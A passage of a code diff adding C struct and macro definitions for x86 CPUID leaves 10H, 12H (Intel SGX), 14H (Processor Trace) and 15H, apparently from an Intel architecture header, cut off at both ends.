CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_BIT 2 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_FLAG 0x04 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_MASK 0x01 +#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED(_) (((_) >> 2) & 0x01) + uint32_t reserved2 : 29; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_01; + +/** + * @brief L2 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 2) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. + */ + uint32_t length_of_capacity_bit_mask : 5; +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F +#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. + */ + uint32_t ebx_0 : 32; +#define CPUID_EBX_EBX_0_BIT 0 +#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF +#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF +#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_02; + +/** + * @brief Memory Bandwidth Allocation Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 3) + * + * @note Leaf 10H output depends on the initial value in ECX. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 11:0] Reports the maximum MBA throttling value supported for the corresponding ResID using minus-one notation. + */ + uint32_t max_mba_throttling_value : 12; +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_BIT 0 +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_FLAG 0xFFF +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_MASK 0xFFF +#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE(_) (((_) >> 0) & 0xFFF) + uint32_t reserved1 : 20; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + uint32_t reserved1 : 2; + + /** + * [Bit 2] Reports whether the response of the delay values is linear. + */ + uint32_t response_of_delay_is_linear : 1; +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_BIT 2 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_FLAG 0x04 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_MASK 0x01 +#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR(_) (((_) >> 2) & 0x01) + uint32_t reserved2 : 29; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 15:0] Highest COS number supported for this ResID. + */ + uint32_t highest_cos_number_supported : 16; +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF +#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_10_ecx_03; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_12 \ + * EAX = 0x12 + * + * When CPUID executes with EAX set to 12H and ECX = 0H, the processor returns information about Intel SGX capabilities. + * When CPUID executes with EAX set to 12H and ECX = 1H, the processor returns information about Intel SGX attributes. + * When CPUID executes with EAX set to 12H and ECX = n (n > 1), the processor returns information about Intel SGX Enclave + * Page Cache. + * @{ + */ +#define CPUID_INTEL_SGX 0x00000012 + /** + * @brief Intel SGX Capability Enumeration Leaf, sub-leaf 0 (EAX = 12H, ECX = 0) + * + * @note Leaf 12H sub-leaf 0 (ECX = 0) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bit 0] If 1, Indicates Intel SGX supports the collection of SGX1 leaf functions. + */ + uint32_t sgx1 : 1; +#define CPUID_EAX_SGX1_BIT 0 +#define CPUID_EAX_SGX1_FLAG 0x01 +#define CPUID_EAX_SGX1_MASK 0x01 +#define CPUID_EAX_SGX1(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, Indicates Intel SGX supports the collection of SGX2 leaf functions. + */ + uint32_t sgx2 : 1; +#define CPUID_EAX_SGX2_BIT 1 +#define CPUID_EAX_SGX2_FLAG 0x02 +#define CPUID_EAX_SGX2_MASK 0x01 +#define CPUID_EAX_SGX2(_) (((_) >> 1) & 0x01) + uint32_t reserved1 : 3; + + /** + * [Bit 5] If 1, indicates Intel SGX supports ENCLV instruction leaves EINCVIRTCHILD, EDECVIRTCHILD, and ESETCONTEXT. + */ + uint32_t sgx_enclv_advanced : 1; +#define CPUID_EAX_SGX_ENCLV_ADVANCED_BIT 5 +#define CPUID_EAX_SGX_ENCLV_ADVANCED_FLAG 0x20 +#define CPUID_EAX_SGX_ENCLV_ADVANCED_MASK 0x01 +#define CPUID_EAX_SGX_ENCLV_ADVANCED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] If 1, indicates Intel SGX supports ENCLS instruction leaves ETRACKC, ERDINFO, ELDBC, and ELDUC. + */ + uint32_t sgx_encls_advanced : 1; +#define CPUID_EAX_SGX_ENCLS_ADVANCED_BIT 6 +#define CPUID_EAX_SGX_ENCLS_ADVANCED_FLAG 0x40 +#define CPUID_EAX_SGX_ENCLS_ADVANCED_MASK 0x01 +#define CPUID_EAX_SGX_ENCLS_ADVANCED(_) (((_) >> 6) & 0x01) + uint32_t reserved2 : 25; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Bit vector of supported extended SGX features. + */ + uint32_t miscselect : 32; +#define CPUID_EBX_MISCSELECT_BIT 0 +#define CPUID_EBX_MISCSELECT_FLAG 0xFFFFFFFF +#define CPUID_EBX_MISCSELECT_MASK 0xFFFFFFFF +#define CPUID_EBX_MISCSELECT(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 7:0] The maximum supported enclave size in non-64-bit mode is 2^(EDX[7:0]). + */ + uint32_t max_enclave_size_not64 : 8; +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_BIT 0 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_FLAG 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_MASK 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] The maximum supported enclave size in 64-bit mode is 2^(EDX[15:8]). + */ + uint32_t max_enclave_size_64 : 8; +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_BIT 8 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_FLAG 0xFF00 +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_MASK 0xFF +#define CPUID_EDX_MAX_ENCLAVE_SIZE_64(_) (((_) >> 8) & 0xFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_00; + +/** + * @brief Intel SGX Attributes Enumeration Leaf, sub-leaf 1 (EAX = 12H, ECX = 1) + * + * @note Leaf 12H sub-leaf 1 (ECX = 1) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[31:0] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_0 : 32; +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_BIT 0 +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_FLAG 0xFFFFFFFF +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_MASK 0xFFFFFFFF +#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[63:32] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_1 : 32; +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_BIT 0 +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_FLAG 0xFFFFFFFF +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_MASK 0xFFFFFFFF +#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[95:64] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_2 : 32; +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_BIT 0 +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_FLAG 0xFFFFFFFF +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_MASK 0xFFFFFFFF +#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[127:96] that software can set with ECREATE. + */ + uint32_t valid_secs_attributes_3 : 32; +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_BIT 0 +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_FLAG 0xFFFFFFFF +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_MASK 0xFFFFFFFF +#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_01; + +/** + * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) + * + * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + * This structure describes sub-leaf type 0. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 3:0] Sub-leaf Type 0. Indicates this sub-leaf is invalid. + */ + uint32_t sub_leaf_type : 4; +#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 +#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 28; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is zero. + */ + uint32_t zero : 32; +#define CPUID_EBX_ZERO_BIT 0 +#define CPUID_EBX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_EBX_ZERO_MASK 0xFFFFFFFF +#define CPUID_EBX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is zero. + */ + uint32_t zero : 32; +#define CPUID_ECX_ZERO_BIT 0 +#define CPUID_ECX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_ECX_ZERO_MASK 0xFFFFFFFF +#define CPUID_ECX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is zero. + */ + uint32_t zero : 32; +#define CPUID_EDX_ZERO_BIT 0 +#define CPUID_EDX_ZERO_FLAG 0xFFFFFFFF +#define CPUID_EDX_ZERO_MASK 0xFFFFFFFF +#define CPUID_EDX_ZERO(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_02p_slt_0; + +/** + * @brief Intel SGX EPC Enumeration Leaf, sub-leaves (EAX = 12H, ECX = 2 or higher) + * + * @note Leaf 12H sub-leaf 2 or higher (ECX >= 2) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. + * This structure describes sub-leaf type 1. + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 3:0] Sub-leaf Type 1. This sub-leaf enumerates an EPC section. EBX:EAX and EDX:ECX provide information on the + * Enclave Page Cache (EPC) section. + */ + uint32_t sub_leaf_type : 4; +#define CPUID_EAX_SUB_LEAF_TYPE_BIT 0 +#define CPUID_EAX_SUB_LEAF_TYPE_FLAG 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE_MASK 0x0F +#define CPUID_EAX_SUB_LEAF_TYPE(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 8; + + /** + * [Bits 31:12] Bits 31:12 of the physical address of the base of the EPC section. + */ + uint32_t epc_base_physical_address_1 : 20; +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_BIT 12 +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_FLAG 0xFFFFF000 +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1_MASK 0xFFFFF +#define CPUID_EAX_EPC_BASE_PHYSICAL_ADDRESS_1(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 19:0] Bits 51:32 of the physical address of the base of the EPC section. + */ + uint32_t epc_base_physical_address_2 : 20; +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_BIT 0 +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_FLAG 0xFFFFF +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2_MASK 0xFFFFF +#define CPUID_EBX_EPC_BASE_PHYSICAL_ADDRESS_2(_) (((_) >> 0) & 0xFFFFF) + uint32_t reserved1 : 12; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 3:0] EPC section property encoding defined as follows: + * - If EAX[3:0] 0000b, then all bits of the EDX:ECX pair are enumerated as 0. + * - If EAX[3:0] 0001b, then this section has confidentiality and integrity protection. + * All other encodings are reserved. + */ + uint32_t epc_section_property : 4; +#define CPUID_ECX_EPC_SECTION_PROPERTY_BIT 0 +#define CPUID_ECX_EPC_SECTION_PROPERTY_FLAG 0x0F +#define CPUID_ECX_EPC_SECTION_PROPERTY_MASK 0x0F +#define CPUID_ECX_EPC_SECTION_PROPERTY(_) (((_) >> 0) & 0x0F) + uint32_t reserved1 : 8; + + /** + * [Bits 31:12] Bits 31:12 of the size of the corresponding EPC section within the Processor Reserved Memory. + */ + uint32_t epc_size_1 : 20; +#define CPUID_ECX_EPC_SIZE_1_BIT 12 +#define CPUID_ECX_EPC_SIZE_1_FLAG 0xFFFFF000 +#define CPUID_ECX_EPC_SIZE_1_MASK 0xFFFFF +#define CPUID_ECX_EPC_SIZE_1(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 19:0] Bits 51:32 of the size of the corresponding EPC section within the Processor Reserved Memory. + */ + uint32_t epc_size_2 : 20; +#define CPUID_EDX_EPC_SIZE_2_BIT 0 +#define CPUID_EDX_EPC_SIZE_2_FLAG 0xFFFFF +#define CPUID_EDX_EPC_SIZE_2_MASK 0xFFFFF +#define CPUID_EDX_EPC_SIZE_2(_) (((_) >> 0) & 0xFFFFF) + uint32_t reserved1 : 12; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_12_ecx_02p_slt_1; + +/** + * @} + */ + + /** + * @defgroup cpuid_eax_14 \ + * EAX = 0x14 + * + * When CPUID executes with EAX set to 14H and ECX = 0H, the processor returns information about Intel Processor Trace + * extensions. + * When CPUID executes with EAX set to 14H and ECX = n (n > 0 and less than the number of non-zero bits in CPUID.(EAX=14H, + * ECX= 0H).EAX), the processor returns information about packet generation in Intel Processor Trace. + * @{ + */ +#define CPUID_INTEL_PROCESSOR_TRACE_INFORMATION 0x00000014 + /** + * @brief Intel Processor Trace Enumeration Main Leaf (EAX = 14H, ECX = 0) + * + * @note Leaf 14H main leaf (ECX = 0). + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Reports the maximum sub-leaf supported in leaf 14H. + */ + uint32_t max_sub_leaf : 32; +#define CPUID_EAX_MAX_SUB_LEAF_BIT 0 +#define CPUID_EAX_MAX_SUB_LEAF_FLAG 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF_MASK 0xFFFFFFFF +#define CPUID_EAX_MAX_SUB_LEAF(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] If 1, indicates that IA32_RTIT_CTL.CR3Filter can be set to 1, and that IA32_RTIT_CR3_MATCH MSR can be accessed. + */ + uint32_t flag0 : 1; +#define CPUID_EBX_FLAG0_BIT 0 +#define CPUID_EBX_FLAG0_FLAG 0x01 +#define CPUID_EBX_FLAG0_MASK 0x01 +#define CPUID_EBX_FLAG0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, indicates support of Configurable PSB and Cycle-Accurate Mode. + */ + uint32_t flag1 : 1; +#define CPUID_EBX_FLAG1_BIT 1 +#define CPUID_EBX_FLAG1_FLAG 0x02 +#define CPUID_EBX_FLAG1_MASK 0x01 +#define CPUID_EBX_FLAG1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If 1, indicates support of IP Filtering, TraceStop filtering, and preservation of Intel PT MSRs across warm + * reset. + */ + uint32_t flag2 : 1; +#define CPUID_EBX_FLAG2_BIT 2 +#define CPUID_EBX_FLAG2_FLAG 0x04 +#define CPUID_EBX_FLAG2_MASK 0x01 +#define CPUID_EBX_FLAG2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If 1, indicates support of MTC timing packet and suppression of COFI-based packets. + */ + uint32_t flag3 : 1; +#define CPUID_EBX_FLAG3_BIT 3 +#define CPUID_EBX_FLAG3_FLAG 0x08 +#define CPUID_EBX_FLAG3_MASK 0x01 +#define CPUID_EBX_FLAG3(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] If 1, indicates support of PTWRITE. Writes can set IA32_RTIT_CTL[12] (PTWEn) and IA32_RTIT_CTL[5] (FUPonPTW), + * and PTWRITE can generate packets. + */ + uint32_t flag4 : 1; +#define CPUID_EBX_FLAG4_BIT 4 +#define CPUID_EBX_FLAG4_FLAG 0x10 +#define CPUID_EBX_FLAG4_MASK 0x01 +#define CPUID_EBX_FLAG4(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] If 1, indicates support of Power Event Trace. Writes can set IA32_RTIT_CTL[4] (PwrEvtEn), enabling Power Event + * Trace packet generation. + */ + uint32_t flag5 : 1; +#define CPUID_EBX_FLAG5_BIT 5 +#define CPUID_EBX_FLAG5_FLAG 0x20 +#define CPUID_EBX_FLAG5_MASK 0x01 +#define CPUID_EBX_FLAG5(_) (((_) >> 5) & 0x01) + uint32_t reserved1 : 26; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bit 0] If 1, Tracing can be enabled with IA32_RTIT_CTL.ToPA = 1, hence utilizing the ToPA output scheme; + * IA32_RTIT_OUTPUT_BASE and IA32_RTIT_OUTPUT_MASK_PTRS MSRs can be accessed. + */ + uint32_t flag0 : 1; +#define CPUID_ECX_FLAG0_BIT 0 +#define CPUID_ECX_FLAG0_FLAG 0x01 +#define CPUID_ECX_FLAG0_MASK 0x01 +#define CPUID_ECX_FLAG0(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] If 1, ToPA tables can hold any number of output entries, up to the maximum allowed by the MaskOrTableOffset + * field of IA32_RTIT_OUTPUT_MASK_PTRS. + */ + uint32_t flag1 : 1; +#define CPUID_ECX_FLAG1_BIT 1 +#define CPUID_ECX_FLAG1_FLAG 0x02 +#define CPUID_ECX_FLAG1_MASK 0x01 +#define CPUID_ECX_FLAG1(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] If 1, indicates support of Single-Range Output scheme. + */ + uint32_t flag2 : 1; +#define CPUID_ECX_FLAG2_BIT 2 +#define CPUID_ECX_FLAG2_FLAG 0x04 +#define CPUID_ECX_FLAG2_MASK 0x01 +#define CPUID_ECX_FLAG2(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] If 1, indicates support of output to Trace Transport subsystem. + */ + uint32_t flag3 : 1; +#define CPUID_ECX_FLAG3_BIT 3 +#define CPUID_ECX_FLAG3_FLAG 0x08 +#define CPUID_ECX_FLAG3_MASK 0x01 +#define CPUID_ECX_FLAG3(_) (((_) >> 3) & 0x01) + uint32_t reserved1 : 27; + + /** + * [Bit 31] If 1, generated packets which contain IP payloads have LIP values, which include the CS base component. + */ + uint32_t flag31 : 1; +#define CPUID_ECX_FLAG31_BIT 31 +#define CPUID_ECX_FLAG31_FLAG 0x80000000 +#define CPUID_ECX_FLAG31_MASK 0x01 +#define CPUID_ECX_FLAG31(_) (((_) >> 31) & 0x01) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_14_ecx_00; + +/** + * @brief Intel Processor Trace Enumeration Sub-leaf (EAX = 14H, ECX = 1) + */ +typedef struct +{ + union + { + struct + { + /** + * [Bits 2:0] Number of configurable Address Ranges for filtering. + */ + uint32_t number_of_configurable_address_ranges_for_filtering : 3; +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_BIT 0 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_FLAG 0x07 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING_MASK 0x07 +#define CPUID_EAX_NUMBER_OF_CONFIGURABLE_ADDRESS_RANGES_FOR_FILTERING(_) (((_) >> 0) & 0x07) + uint32_t reserved1 : 13; + + /** + * [Bits 31:16] Bitmap of supported MTC period encodings. + */ + uint32_t bitmap_of_supported_mtc_period_encodings : 16; +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_BIT 16 +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_FLAG 0xFFFF0000 +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS_MASK 0xFFFF +#define CPUID_EAX_BITMAP_OF_SUPPORTED_MTC_PERIOD_ENCODINGS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Bitmap of supported Cycle Threshold value encodings. + */ + uint32_t bitmap_of_supported_cycle_threshold_value_encodings : 16; +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_BIT 0 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_FLAG 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS_MASK 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CYCLE_THRESHOLD_VALUE_ENCODINGS(_) (((_) >> 0) & 0xFFFF) + + /** + * [Bits 31:16] Bitmap of supported Configurable PSB frequency encodings. + */ + uint32_t bitmap_of_supported_configurable_psb_frequency_encodings : 16; +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_BIT 16 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_FLAG 0xFFFF0000 +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS_MASK 0xFFFF +#define CPUID_EBX_BITMAP_OF_SUPPORTED_CONFIGURABLE_PSB_FREQUENCY_ENCODINGS(_) (((_) >> 16) & 0xFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_14_ecx_01; + +/** + * @} + */ + + + /** + * @brief Stamp Counter and Nominal Core Crystal Clock Information Leaf + * + * When CPUID executes with EAX set to 15H and ECX = 0H, the processor returns information about Time Stamp Counter and + * Core Crystal Clock. + * + * @note If EBX[31:0] is 0, the TSC/"core crystal clock" ratio is not enumerated. EBX[31:0]/EAX[31:0] indicates the ratio + * of the TSC frequency and the core crystal clock frequency. + * If ECX is 0, the nominal core crystal clock frequency is not enumerated. "TSC frequency" = "core crystal clock + * frequency" * EBX/EAX. + */ +#define CPUID_TIME_STAMP_COUNTER_INFORMATION 0x00000015 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the denominator of the TSC/"core crystal clock" ratio. + */ + uint32_t denominator : 32; +#define CPUID_EAX_DENOMINATOR_BIT 0 +#define CPUID_EAX_DENOMINATOR_FLAG 0xFFFFFFFF +#define CPUID_EAX_DENOMINATOR_MASK 0xFFFFFFFF +#define CPUID_EAX_DENOMINATOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the numerator of the TSC/"core crystal clock" ratio. + */ + uint32_t numerator : 32; +#define CPUID_EBX_NUMERATOR_BIT 0 +#define CPUID_EBX_NUMERATOR_FLAG 0xFFFFFFFF +#define CPUID_EBX_NUMERATOR_MASK 0xFFFFFFFF +#define CPUID_EBX_NUMERATOR(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] An unsigned integer which is the nominal frequency of the core crystal clock in Hz. + */ + uint32_t nominal_frequency : 32; +#define CPUID_ECX_NOMINAL_FREQUENCY_BIT 0 +#define CPUID_ECX_NOMINAL_FREQUENCY_FLAG 0xFFFFFFFF +#define 